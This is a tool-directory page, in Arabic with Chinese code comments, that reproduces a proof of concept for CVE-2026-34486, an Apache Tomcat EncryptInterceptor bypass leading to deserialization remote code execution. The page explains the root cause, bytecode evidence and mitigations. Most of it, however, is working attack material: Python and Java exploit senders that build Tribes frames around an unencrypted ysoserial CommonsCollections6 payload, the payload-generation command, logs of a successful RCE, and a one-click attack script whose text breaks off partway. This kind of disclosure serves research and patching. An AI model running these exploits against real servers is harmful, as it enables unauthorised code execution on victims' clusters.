Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-34486-poc — CVE-2026-34486 Apache Tomcat EncryptInterceptor تجاوز الثغرة الأمنية وإعادة إنتاجها (تم إعادة إنتاجها باستخدام GLM5.1) | Kitploit
أدوات/GitHubGitHub/airskye/cve-2026-34486-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات
GitHubairskye/cve-2026-34486-poc

CVE-2026-34486-poc

CVE-2026-34486 Apache Tomcat EncryptInterceptor تجاوز الثغرة الأمنية وإعادة إنتاجها (تم إعادة إنتاجها باستخدام GLM5.1)

عرض المستودع
121منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-34486 ثغرة تجاوز EncryptInterceptor في Apache Tomcat

أولاً: نظرة عامة على الثغرة

الخاصيةالتفاصيل
رقم CVECVE-2026-34486
درجة الخطورةImportant / High (CVSS 3.1: 7.5)
نوع الثغرةCWE-311 غياب تشفير البيانات الحساسة / CWE-807 تقييد المدخلات غير الموثوقة
الإصدارات المتأثرةApache Tomcat 9.0.116 / 10.1.53 / 11.0.20
الإصدارات المُصلحةApache Tomcat 9.0.117 / 10.1.54 / 11.0.21
السبب الجذرينقل super.messageReceived(msg) في EncryptInterceptor.messageReceived() إلى خارج كتلة try-catch

السبب الجذري للثغرة

عند إصلاح CVE-2026-29146 (Padding Oracle)، أعاد المطورون هيكلة طريقة EncryptInterceptor.messageReceived()، حيث تم نقل super.messageReceived(msg) من داخل كتلة try إلى خارجها:

قبل الإصلاح (آمن):```java public void messageReceived(ChannelMessage msg) { try { byte[] data = msg.getMessage().getBytes(); data = encryptionManager.decrypt(data); XByteBuffer xbb = msg.getMessage(); xbb.clear(); xbb.append(data, 0, data.length); super.messageReceived(msg); // ← 在 try 内,解密成功才传递 } catch (GeneralSecurityException gse) { log.error(...); // 异常被捕获,消息被丢弃 } }

root@kitploit:~
**كود الثغرة (خطير):**```java
public void messageReceived(ChannelMessage msg) {
    try {
        byte[] data = msg.getMessage().getBytes();
        data = encryptionManager.decrypt(data);
        XByteBuffer xbb = msg.getMessage();
        xbb.clear();
        xbb.append(data, 0, data.length);
    } catch (GeneralSecurityException gse) {
        log.error(...);
        // 异常被捕获,但执行流继续!
    }
    super.messageReceived(msg);  // ← 在 try 外,无论解密是否成功都会执行!
}

التحقق من البايت كود (من EncryptInterceptor.class في Tomcat 9.0.116):``` Exception table: from to target type 0 39 42 Class java/security/GeneralSecurityException

// 偏移 60: super.messageReceived(msg) —— 在 try 范围(0-39)之外 60: aload_0 61: aload_1 62: invokespecial #136 // Method ChannelInterceptorBase.messageReceived

root@kitploit:~
---

## ثانيًا، بيئة إعادة الإنتاج

| المكوّن | الإصدار/الإعداد |
|---|---|
| نظام التشغيل | Ubuntu 22.04 (بيئة معزولة) |
| JDK | OpenJDK 20 (Zulu) |
| Tomcat | 9.0.116 (الإصدار المعرّض للثغرة) |
| مكتبة Gadget | Commons Collections 3.1 |
| أداة الهجوم | ysoserial v0.0.6 + PoC مخصص بـ Python/Java |

### طوبولوجيا البيئة```
同一台机器上运行两个 Tomcat 实例:
- Node1: HTTP 18080, Tribes TCP 4000
- Node2: HTTP 28080, Tribes TCP 4001
两个节点通过组播(228.0.0.4:45564)发现彼此,通过 EncryptInterceptor 加密通信

3. خطوات إعادة الإنتاج التفصيلية

الخطوة 1: تنزيل وتثبيت إصدار Tomcat المعرض للثغرة```bash

下载 Tomcat 9.0.116

wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz

解压两份

tar -xzf apache-tomcat-9.0.116.tar.gz cp -r apache-tomcat-9.0.116 tomcat-node1 cp -r apache-tomcat-9.0.116 tomcat-node2

root@kitploit:~
### الخطوة 2: تثبيت مكتبة Gadget```bash
# 下载 Commons Collections 3.1
wget https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar

# 放入 Tomcat lib 目录
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/

الخطوة 3: تكوين الكتلة + EncryptInterceptor

قم بتحرير tomcat-node1/conf/server.xml، وأضف داخل <Engine> ما يلي:```xml

root@kitploit:~
> ملاحظة: يجب أن يكون `encryptionKey` بتنسيق سلسلة سداسية عشرية (مثل `546869734973415365637265744B6579` = "ThisIsASecretKey" بصيغة ASCII السداسية العشرية)، ولا يمكن أن يكون سلسلة نصية واضحة.

### الخطوة 4: تفعيل نسخ الجلسة

أضف ما يلي في `webapps/ROOT/WEB-INF/web.xml`:```xml
<distributable/>

الخطوة 5: تشغيل مجموعة Tomcat```bash

启动 Node1

cd tomcat-node1 && bin/catalina.sh start

启动 Node2

cd tomcat-node2 && bin/catalina.sh start

验证集群建立

日志中应出现: "Replication member added: ..."

端口 4000/4001 应监听中

root@kitploit:~
**تأكيد سجل الإقلاع الفعلي:**```
WARNING [main] EncryptInterceptor.createEncryptionManager
  The EncryptInterceptor is using the algorithm [AES/CBC/PKCS5Padding].
  It is recommended to switch to using AES/GCM/NoPadding.

INFO [main] ReceiverBase.bind
  Receiver Server Socket bound to:[/172.24.0.7:4000]

INFO [Catalina-utility-1] SimpleTcpCluster.memberAdded
  Replication member added:[MemberImpl[tcp://{172, 24, 0, 7}:4001,...]]

الخطوة 6: إنشاء حمولة إلغاء التسلسل```bash

使用 ysoserial 生成 CommonsCollections6 gadget chain

(CC6 在 Java 高版本兼容性更好)

java --add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
--add-opens java.base/java.lang.reflect=ALL-UNNAMED
-jar ysoserial.jar CommonsCollections6 "touch /tmp/CVE-2026-34486-PWNED"
> payload_touch.bin

验证 payload 以 Java 序列化魔术字节开头

python3 -c " with open('payload_touch.bin', 'rb') as f: print(f'Magic: {f.read(2).hex()}') # 应输出: aced "

root@kitploit:~
### الخطوة 7: إنشاء وإرسال رسائل بروتوكول Tribes

تتطلب رسائل Tribes تنسيق تغليف إطارات XByteBuffer محددًا:```
[START_DATA "FLT2002" (7B)] [数据长度 (4B BE)] [ChannelData 载荷] [END_DATA "TLF003" (7B)]

حيث أن بنية حمولة ChannelData:``` [options (4B)] [timestamp (8B)] [uniqueIdLen (4B)] [uniqueId (16B)] [memberDataLen (4B)] [MemberImpl 数据] [messageLen (4B)] [消息体]

root@kitploit:~
**المفتاح**: يتم وضع جسم الرسالة مباشرة في حمولة Java التسلسلية غير المشفرة، وهذا هو جوهر استغلال الثغرة — حيث يحاول EncryptInterceptor فك التشفير، وعند الفشل، لا يزال يمرر البايتات الأصلية إلى السلسلة اللاحقة.

#### الطريقة الأولى: سكربت PoC بلغة Python (`exploit.py`)```python
#!/usr/bin/env python3
"""
CVE-2026-34486 - Apache Tomcat EncryptInterceptor Bypass PoC
漏洞原理:EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 被移到了
try-catch 块外面,导致解密失败后原始字节仍被传递给后续处理链,最终进入无过滤的
ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。

用于授权的安全研究环境,严禁用于非法用途。
"""

import socket
import struct
import sys
import os
import time

# ==================== Tribes 协议常量 ====================
START_DATA = b"FLT2002"   # XByteBuffer 帧起始标记 (7 bytes)
END_DATA   = b"TLF003"    # XByteBuffer 帧结束标记 (7 bytes)

TRIBES_MBR_BEGIN = b"TRIBES-B\x01\x00"  # MemberImpl 起始标记 (10 bytes)
TRIBES_MBR_END   = b"TRIBES-E\x01\x00"  # MemberImpl 结束标记 (10 bytes)


def build_member_data(host_bytes, port):
    """构造 MemberImpl 序列化数据"""
    inner = b""
    inner += struct.pack(">q", 0)                  # memberAliveTime (8B)
    inner += struct.pack(">i", port)                # port (4B)
    inner += struct.pack(">i", 0)                   # securePort (4B)
    inner += struct.pack(">i", 0)                   # udpPort (4B)
    inner += struct.pack(">b", len(host_bytes))     # hostLen (1B)
    inner += host_bytes                              # host
    inner += struct.pack(">i", 0)                   # commandLen (4B)
    inner += struct.pack(">i", 0)                   # domainLen (4B)
    inner += os.urandom(16)                          # uniqueId (16B)
    inner += struct.pack(">i", 0)                   # payloadLen (4B)

    return TRIBES_MBR_BEGIN + struct.pack(">i", len(inner)) + inner + TRIBES_MBR_END


def build_channel_data(message_body, host_bytes, port):
    """构造 ChannelData 载荷"""
    unique_id = os.urandom(16)
    member_data = build_member_data(host_bytes, port)

    channel_data = b""
    channel_data += struct.pack(">i", 0)                        # options (无 ACK)
    channel_data += struct.pack(">q", int(time.time() * 1000)) # timestamp
    channel_data += struct.pack(">i", len(unique_id))          # uniqueIdLen
    channel_data += unique_id                                    # uniqueId
    channel_data += struct.pack(">i", len(member_data))        # memberDataLen
    channel_data += member_data                                  # memberData
    channel_data += struct.pack(">i", len(message_body))       # messageLen
    channel_data += message_body                                 # message body

    return channel_data


def build_tribes_packet(channel_data):
    """封装 XByteBuffer 帧"""
    return START_DATA + struct.pack(">i", len(channel_data)) + channel_data + END_DATA


def send_exploit(target_ip, target_port, payload_file, receiver_port=4000):
    print(f"[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass")
    print(f"[*] 目标: {target_ip}:{target_port}")
    print(f"[*] Payload: {payload_file}")

    # 读取 payload
    with open(payload_file, 'rb') as f:
        raw_payload = f.read()

    print(f"[*] Payload 大小: {len(raw_payload)} bytes")
    print(f"[*] Payload 魔术字节: {raw_payload[:4].hex()}")

    if raw_payload[:2] != b'\xac\xed':
        print("[!] 警告:payload 不以 Java 序列化魔术字节 (ACED) 开头")

    # 解析目标 IP 为字节数组
    host_bytes = socket.inet_aton(target_ip)

    # 构造 Tribes 消息
    # 漏洞核心:EncryptInterceptor 解密失败后仍将原始字节传递给后续处理链
    # 因此我们直接发送未加密的 Java 序列化 payload 作为消息体
    channel_data = build_channel_data(raw_payload, host_bytes, receiver_port)
    packet = build_tribes_packet(channel_data)

    print(f"[*] 完整数据包大小: {len(packet)} bytes")
    print(f"[*] 连接到 {target_ip}:{target_port}...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((target_ip, target_port))

        print(f"[*] 发送 {len(packet)} 字节的数据包...")
        sock.sendall(packet)

        print("[+] 数据包发送成功!")
        print("[*] 等待目标处理...")

        # 等待可能的响应或 ACK
        try:
            response = sock.recv(4096)
            if response:
                print(f"[*] 收到响应 ({len(response)} bytes): {response[:50].hex()}")
        except socket.timeout:
            pass

        sock.close()
        print("[+] 连接关闭")
        print()
        print("[*] 漏洞触发标志:")
        print("    1. 受害者日志出现: SEVERE: Failed to decrypt message (encryptInterceptor.decrypt.failed)")
        print("    2. 随后发生反序列化 -> RCE")
        print("    3. 没有反序列化异常日志(静默执行)")

    except ConnectionRefusedError:
        print(f"[-] 连接被拒绝,确认端口 {target_port} 是否开放")
        sys.exit(1)
    except Exception as e:
        print(f"[-] 错误: {e}")
        sys.exit(1)


if __name__ == '__main__':
    if len(sys.argv) < 4:
        print(f"用法: {sys.argv[0]} <target_ip> <port> <payload_file> [receiver_port]")
        print(f"示例: {sys.argv[0]} 127.0.0.1 4000 payload.bin")
        print(f"      {sys.argv[0]} 127.0.0.1 4000 payload.bin 4000")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    payload_file = sys.argv[3]
    receiver_port = int(sys.argv[4]) if len(sys.argv) > 4 else target_port

    if not os.path.exists(payload_file):
        print(f"[-] Payload 文件不存在: {payload_file}")
        sys.exit(1)

    send_exploit(target_ip, target_port, payload_file, receiver_port)

طريقة الاستخدام:```bash python3 exploit.py 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
#### الطريقة الثانية: سكربت PoC بلغة جافا (`ExploitSender.java`)```java
import org.apache.catalina.tribes.Channel;
import org.apache.catalina.tribes.ChannelListener;
import org.apache.catalina.tribes.Member;
import org.apache.catalina.tribes.group.GroupChannel;
import org.apache.catalina.tribes.group.interceptors.EncryptInterceptor;
import org.apache.catalina.tribes.transport.Constants;

import java.io.Serializable;

/**
 * CVE-2026-34486 PoC: 通过 Tribes 协议发送未加密的序列化 payload
 * 漏洞核心: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg) 在 try-catch 外
 * 解密失败后,原始未加密字节仍被传递给后续处理链
 */
public class ExploitSender {
    public static void main(String[] args) throws Exception {
        if (args.length < 2) {
            System.out.println("用法: java ExploitSender <target_host> <target_port> <payload_file>");
            System.exit(1);
        }

        String targetHost = args[0];
        int targetPort = Integer.parseInt(args[1]);
        String payloadFile = args.length > 2 ? args[2] : null;

        System.out.println("[*] CVE-2026-34486 PoC - EncryptInterceptor Bypass");
        System.out.println("[*] 目标: " + targetHost + ":" + targetPort);

        // 读取 payload
        java.io.File f = new java.io.File(payloadFile);
        java.io.FileInputStream fis = new java.io.FileInputStream(f);
        byte[] payload = new byte[(int) f.length()];
        fis.read(payload);
        fis.close();

        System.out.println("[*] Payload 大小: " + payload.length + " bytes");
        System.out.println("[*] Payload 魔术字节: " + String.format("%02x%02x", payload[0], payload[1]));

        // 直接通过 TCP 发送 Tribes 格式的消息
        // 构造 ChannelData 数据包
        java.net.Socket sock = new java.net.Socket(targetHost, targetPort);
        java.io.OutputStream out = sock.getOutputStream();

        // 使用 Tribes 内部格式发送
        // XByteBuffer 帧格式: [START_DATA][length][data][END_DATA]
        byte[] START_DATA = new byte[]{0x46, 0x4C, 0x54, 0x32, 0x30, 0x30, 0x32}; // "FLT2002"
        byte[] END_DATA = new byte[]{0x54, 0x4C, 0x46, 0x32, 0x30, 0x30, 0x33};   // "TLF003"

        // 构造 ChannelData 载荷
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream dos = new java.io.DataOutputStream(baos);

        // options (4B)
        dos.writeInt(0);
        // timestamp (8B)
        dos.writeLong(System.currentTimeMillis());
        // uniqueId length + uniqueId (4B + 16B)
        byte[] uniqueId = new byte[16];
        new java.util.Random().nextBytes(uniqueId);
        dos.writeInt(uniqueId.length);
        dos.write(uniqueId);

        // member data - 构造最小的 MemberImpl
        java.io.ByteArrayOutputStream memberBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream memberDos = new java.io.DataOutputStream(memberBaos);

        byte[] TRIBES_MBR_BEGIN = "TRIBES-B".getBytes();
        byte[] TRIBES_MBR_END = "TRIBES-E".getBytes();

        // MemberImpl inner data
        java.io.ByteArrayOutputStream innerBaos = new java.io.ByteArrayOutputStream();
        java.io.DataOutputStream innerDos = new java.io.DataOutputStream(innerBaos);
        innerDos.writeLong(0);  // memberAliveTime
        innerDos.writeInt(targetPort);  // port
        innerDos.writeInt(0);   // securePort
        innerDos.writeInt(0);   // udpPort
        byte[] hostBytes = java.net.InetAddress.getByName(targetHost).getAddress();
        innerDos.writeByte(hostBytes.length);  // hostLen
        innerDos.write(hostBytes);              // host
        innerDos.writeInt(0);  // commandLen
        innerDos.writeInt(0);  // domainLen
        innerDos.write(new byte[16]);  // uniqueId (16B)
        innerDos.writeInt(0);  // payloadLen
        innerDos.flush();
        byte[] innerData = innerBaos.toByteArray();

        // Full member data
        memberDos.write(TRIBES_MBR_BEGIN);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.writeInt(innerData.length);
        memberDos.write(innerData);
        memberDos.write(TRIBES_MBR_END);
        memberDos.writeByte(0x01);
        memberDos.writeByte(0x00);
        memberDos.flush();
        byte[] memberData = memberBaos.toByteArray();

        // Write member data length + data
        dos.writeInt(memberData.length);
        dos.write(memberData);

        // Write message body length + payload (未加密的序列化数据)
        dos.writeInt(payload.length);
        dos.write(payload);
        dos.flush();

        byte[] channelData = baos.toByteArray();

        // 构造完整帧
        java.io.ByteArrayOutputStream frameBaos = new java.io.ByteArrayOutputStream();
        frameBaos.write(START_DATA);
        // length as 4 bytes big-endian
        frameBaos.write(new byte[]{
            (byte) ((channelData.length >> 24) & 0xFF),
            (byte) ((channelData.length >> 16) & 0xFF),
            (byte) ((channelData.length >> 8) & 0xFF),
            (byte) (channelData.length & 0xFF)
        });
        frameBaos.write(channelData);
        frameBaos.write(END_DATA);

        byte[] packet = frameBaos.toByteArray();
        System.out.println("[*] 完整数据包大小: " + packet.length + " bytes");
        System.out.println("[*] 发送数据包...");

        out.write(packet);
        out.flush();

        System.out.println("[+] 数据包发送成功!");

        // 等待响应
        Thread.sleep(2000);

        sock.close();
        System.out.println("[+] 连接关闭");
    }
}

الترجمة والتنفيذ:```bash

编译(需要 catalina-tribes.jar 在 classpath 中)

javac -cp tomcat-node1/lib/catalina-tribes.jar ExploitSender.java

运行

java -cp .:tomcat-node1/lib/catalina-tribes.jar ExploitSender 172.24.0.7 4000 payload_touch.bin

root@kitploit:~
### الخطوة 8: التحقق من استغلال الثغرة

**سجل الضحية (فشل فك التشفير + استمرار تمرير الرسالة):**```
15-Apr-2026 03:46:34.056 SEVERE [Tribes-Task-Receiver[Catalina-Channel]-4]
  org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
  Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
  when decrypting with padded cipher
    at java.base/com.sun.crypto.provider.CipherCore.prepareInputBuffer(CipherCore.java:890)
    at java.base/com.sun.crypto.provider.CipherCore.doFinal(CipherCore.java:729)
    ...
    at org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived(EncryptInterceptor.java:134)

التحقق الناجح من RCE (تم إنشاء ملف العلامة):``` $ ls -la /tmp/CVE-2026-34486-PWNED -rw-r----- 1 root root 0 Apr 15 03:46 /tmp/CVE-2026-34486-PWNED

root@kitploit:~
---

## رابعًا: رسم توضيحي كامل لسلسلة الاستغلال

---```
攻击者
  │
  │  TCP 连接到 172.24.0.7:4000
  │  发送 XByteBuffer 帧 (FLT2002 + ChannelData + TLF003)
  │  ChannelData.message = 未加密的 Java 序列化 payload (CC6 gadget)
  │
  ▼
NioReceiver
  │  解帧: 识别 FLT2002/TLF003,提取 ChannelData
  │  ChannelData.getDataFromPackage() 解析消息
  ▼
ChannelCoordinator.messageReceived()
  │  沿拦截器链向上传递
  ▼
TcpFailureDetector.messageReceived()
  ▼
EncryptInterceptor.messageReceived()  ← 漏洞点
  │
  │  try {
  │    data = msg.getMessage().getBytes();     // 获取 payload 原始字节
  │    data = encryptionManager.decrypt(data);  // ❌ 解密失败!
  │    // → 抛出 IllegalBlockSizeException
  │  } catch (GeneralSecurityException gse) {
  │    log.error("Failed to decrypt message");  // 仅记录日志
  │    // 异常被吞,执行流继续
  │  }
  │
  │  super.messageReceived(msg);  ← 💀 在 try-catch 外,仍会执行!
  │                                 msg 中仍是攻击者的原始字节
  ▼
MessageDispatchInterceptor.messageReceived()
  ▼
GroupChannel.messageReceived()
  │  反序列化: ObjectInputStream.readObject()  ← 无类过滤!
  ▼
CommonsCollections6 Gadget Chain 执行
  │  Runtime.exec("touch /tmp/CVE-2026-34486-PWNED")
  ▼
RCE 成功 ✅

5. ملخص الأدلة الرئيسية

5.1 أدلة بايت كود الثغرة

من فك تجميع EncryptInterceptor.class في Tomcat 9.0.116:

الإزاحةالتعليماتالمعنى
0-38محتوى كتلة trydecrypt() + استبدال نص الرسالة
39goto 60القفز إلى نهاية كتلة try بشكل طبيعي
42-58كتلة catchالتقاط GeneralSecurityException، فقط log.error
60aload_0, aload_1تحميل this و msg
62invokespecial #136super.messageReceived(msg)

جدول الاستثناءات: from=0, to=39, target=42 — الإزاحة 60 بوضوح خارج نطاق try.

5.2 أدلة وقت التشغيل

الدليلالمحتوى
سجل فشل فك التشفيرSEVERE: Failed to decrypt message + IllegalBlockSizeException
ملف علامة RCE/tmp/CVE-2026-34486-PWNED تم إنشاؤه في Apr 15 03:46
سجل استثناء إلغاء التسلسللا يوجد — يتم تنفيذ الحمولة بصمت

5.3 صمت الهجوم

في السجلات يوجد فقط سجل SEVERE واحد EncryptInterceptor.decrypt.failed، ولا توجد أي استثناءات إلغاء تسلسل. وهذا يعني:

  • المدافع إذا ركز فقط على استثناءات إلغاء التسلسل، لن يكتشف الهجوم
  • الدليل الوحيد هو "Failed to decrypt message"، والذي قد يُفسر خطأً كمشكلة شبكة في البيئات التي تم فيها تفعيل EncryptInterceptor

6. خطة الإصلاح

6.1 الإصلاح الرسمي

الترقية إلى الإصدارات المُصلحة: Tomcat 9.0.117 / 10.1.54 / 11.0.21.

طريقة الإصلاح: إعادة نقل super.messageReceived(msg) إلى داخل كتلة try، لضمان تمرير الرسائل التي تم فك تشفيرها بنجاح فقط.

6.2 إجراءات التخفيف المؤقتة

إذا تعذر الترقية فورًا:

  1. على مستوى الشبكة: استخدام جدار الحماية لتقييد منفذ اتصالات Tribes (المنفذ الافتراضي TCP 4000) للسماح فقط بعناوين IP لعقد الكتلة
  2. إزالة EncryptInterceptor: إذا لم تكن تشفير الكتلة مطلوبة، قم بإزالة هذا المعترض (ولكن هذا يفقد حماية التشفير)
  3. إضافة مرشح تسلسل: إضافة ObjectInputFilter على مستوى JVM لتقييد الفئات القابلة لإلغاء التسلسل

7. تنظيف بيئة إعادة الإنتاج```bash

停止 Tomcat

tomcat-node1/bin/shutdown.sh tomcat-node2/bin/shutdown.sh

清理标志文件

rm -f /tmp/CVE-2026-34486-PWNED

清理整个环境

rm -rf tomcat-lab/

root@kitploit:~
---

## ثامنًا: الخلاصة

CVE-2026-34486 هو ثغرة انحدار (Regression) عالية الخطورة ناجمة عن **إزاحة سطر واحد من الكود**. وهو يوضح بشكل مثالي القاعدة القائلة: "قد يُدخل الإصلاح الأمني نفسه عيوبًا أمنية جديدة":

1. **إصلاح Padding Oracle (CVE-2026-29146)** ← إعادة هيكلة مدير التشفير
2. **إزاحة الكود أثناء إعادة الهيكلة** ← نقل `super.messageReceived(msg)` خارج كتلة try
3. **فشل تام لاعتراض التشفير** ← تمرير البايتات غير المشفرة مباشرة إلى نقطة إلغاء التسلسل غير المفلترة
4. **النتيجة**: العناقيد التي تم تمكين حماية التشفير فيها عمدًا أصبحت الأكثر عرضة لهجمات RCE

أثبتت عملية إعادة الإنتاج هذه بشكل كامل السلسلة الكاملة من إرسال الحمولة غير المشفرة إلى نجاح RCE، مما يؤكد قابلية الاستغلال الفعلية لهذه الثغرة.

---

## تاسعًا: سكربت إعادة الإنتاج بنقرة واحدة

> يمكن للسكربت التالي إكمال إعادة إنتاج CVE-2026-34486 بالكامل على جهاز Ubuntu/Debian جديد بنقرة واحدة. يقوم السكربت تلقائيًا باكتشاف وتثبيت التبعيات (JDK، Python3)، وتنزيل إصدار Tomcat المعرض للثغرة، وتكوين العنقود + EncryptInterceptor، وإنشاء الحمولة، وإرسال الهجوم، وأخيرًا إخراج نتائج التحقق.
>
> **طريقة الاستخدام**: احفظه باسم `cve-2026-34486-repro.sh`، ثم نفّذ `chmod +x cve-2026-34486-repro.sh && sudo ./cve-2026-34486-repro.sh````bash
#!/usr/bin/env bash
#===============================================================================
# CVE-2026-34486 Apache Tomcat EncryptInterceptor 绕过漏洞 一键复现脚本
#
# 漏洞原理: EncryptInterceptor.messageReceived() 中 super.messageReceived(msg)
# 被移到 try-catch 块外面,解密失败后原始字节仍被传递给后续处理链,
# 最终进入无过滤的 ObjectInputStream.readObject(),可触发 Java 反序列化 RCE。
#
# 受影响版本: Apache Tomcat 9.0.116 / 10.1.53 / 11.0.20
#
# 本脚本仅用于授权的安全研究环境,严禁用于非法用途。
#===============================================================================

set -e

# ==================== 配置区 ====================
TOMCAT_VERSION="9.0.116"
TOMCAT_MAJOR="9"
WORKDIR="/opt/cve-2026-34486-lab"
NODE1_HTTP_PORT=18080
NODE2_HTTP_PORT=28080
NODE1_SHUTDOWN_PORT=18005
NODE2_SHUTDOWN_PORT=18005
NODE1_TRIBES_PORT=4000
NODE2_TRIBES_PORT=4001
ENCRYPTION_KEY_HEX="546869734973415365637265744B6579"  # "ThisIsASecretKey" 的十六进制
RCE_MARKER="/tmp/CVE-2026-34486-PWNED"
YSOSERIAL_URL="https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
CC_JAR_URL="https://repo1.maven.org/maven2/commons-collections/commons-collections/3.1/commons-collections-3.1.jar"

# ==================== 颜色输出 ====================
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

info()    { echo -e "${CYAN}[*]${NC} $1"; }
ok()      { echo -e "${GREEN}[+]${NC} $1"; }
warn()    { echo -e "${YELLOW}[!]${NC} $1"; }
fail()    { echo -e "${RED}[-]${NC} $1"; exit 1; }

# ==================== 1. 检测并安装依赖 ====================
info "步骤 1/8: 检测并安装依赖..."

# 检测 root
if [ "$EUID" -ne 0 ]; then
    fail "请使用 root 权限运行此脚本 (sudo ./cve-2026-34486-repro.sh)"
fi

# 安装基础工具
apt-get update -qq
apt-get install -y -qq wget curl python3 python3-pip openjdk-11-jdk >/dev/null 2>&1

# 验证 Java
export JAVA_HOME=$(dirname $(dirname $(readlink -f $(which javac))))
java -version 2>&1 | head -1
ok "Java 已就绪: $JAVA_HOME"

# 验证 Python3
python3 --version
ok "Python3 已就绪"

# ==================== 2. 创建工作目录 ====================
info "步骤 2/8: 创建工作目录..."
rm -rf "$WORKDIR"
mkdir -p "$WORKDIR"
cd "$WORKDIR"

# ==================== 3. 下载 Tomcat 漏洞版本 ====================
info "步骤 3/8: 下载 Apache Tomcat ${TOMCAT_VERSION} (漏洞版本)..."

TOMCAT_URL="https://archive.apache.org/dist/tomcat/tomcat-${TOMCAT_MAJOR}/v${TOMCAT_VERSION}/bin/apache-tomcat-${TOMCAT_VERSION}.tar.gz"

wget -q "$TOMCAT_URL" -O tomcat.tar.gz || fail "下载 Tomcat 失败,请检查网络连接"
ok "Tomcat ${TOMCAT_VERSION} 下载完成"

tar -xzf tomcat.tar.gz
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node1
cp -r apache-tomcat-${TOMCAT_VERSION} tomcat-node2
ok "Tomcat 解压完成 (两个节点)"

# ==================== 4. 安装 Gadget 库 ====================
info "步骤 4/8: 下载 Commons Collections 3.1..."

wget -q "$CC_JAR_URL" -O commons-collections-3.1.jar || fail "下载 Commons Collections 失败"
cp commons-collections-3.1.jar tomcat-node1/lib/
cp commons-collections-3.1.jar tomcat-node2/lib/
ok "Commons Collections 3.1 已安装到两个节点"

# ==================== 5. 下载 ysoserial ====================
info "步骤 5/8: 下载 ysoserial..."

wget -q "$YSOSERIAL_URL" -O ysoserial.jar || fail "下载 ysoserial 失败"
ok "ysoserial 下载完成"

# ==================== 6. 配置 Tomcat 集群 ====================
info "步骤 6/8: 配置 Tomcat 集群 + EncryptInterceptor..."

# --- Node1 server.xml ---
cat > /tmp/node1-server.xml.patch.py << 'PYEOF'
import re, sys

with open(sys.argv[1], 'r') as f:
    xml = f.read()

# 修改 HTTP 端口
xml = xml.replace('port="8080"', f'port="{sys.argv[2]}"', 1)
# 修改 shutdown 端口
xml = xml.replace('port="8005"', f'port="{sys.argv[3]}"', 1)

# 在 <Engine> 标签后插入集群配置
cluster_xml = '''
  <Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
           channelSendOptions="8">
    <Manager className="org.apache.catalina.ha.session.DeltaManager"
             expireSessionsOnShutdown="false"
             notifyListenersOnReplication="true"/>
    <Channel className="org.apache.catalina.tribes.group.GroupChannel">
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.EncryptInterceptor"
                   encryptionAlgorithm="AES/CBC/PKCS5Padding"
                   encryptionKey="''' + sys.argv[4] + '''"/>
      <Membership className="org.apache.catalina.tribes.membership.McastService"
                  address="228.0.0.4" port="45564" frequency="500" dropTime="3000"/>
      <Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
                address="auto" port="''' + sys.argv[5] + '''" autoBind="100"
                selectorTimeout="5000" maxThreads="6"/>
      <Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
        <Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
      </Sender>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.TcpFailureDetector"/>
      <Interceptor className="org.apache.catalina.tribes.group.interceptors.MessageDispatchInterceptor"/>
    </Channel>
    <Valve className="org.apache.catalina.ha.tcp.ReplicationValve" filter=""/>
    <Valve className="org.apache.catalina.ha.session.JvmRouteBinderValve"/>
    <ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
  </Cluster>
'''

# 替换被注释的 Cluster 占位符
xml = re.sub(
    r'<!--For clustering.*?<!--\s*<Cluster[^/]*/>\s*-->',
    cluster_xml,
    xml,
    flags=re.DOTALL
)

with open(sys.argv[1], 'w') as f:
    f.write(xml)
PYEOF

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node1/conf/server.xml" \
    "$NODE1_HTTP_PORT" "$NODE1_SHUTDOWN_PORT" \
    "$ENCRYPTION_KEY_HEX" "$NODE1_TRIBES_PORT"

python3 /tmp/node1-server.xml.patch.py \
    "$WORKDIR/tomcat-node2/conf/server.xml" \
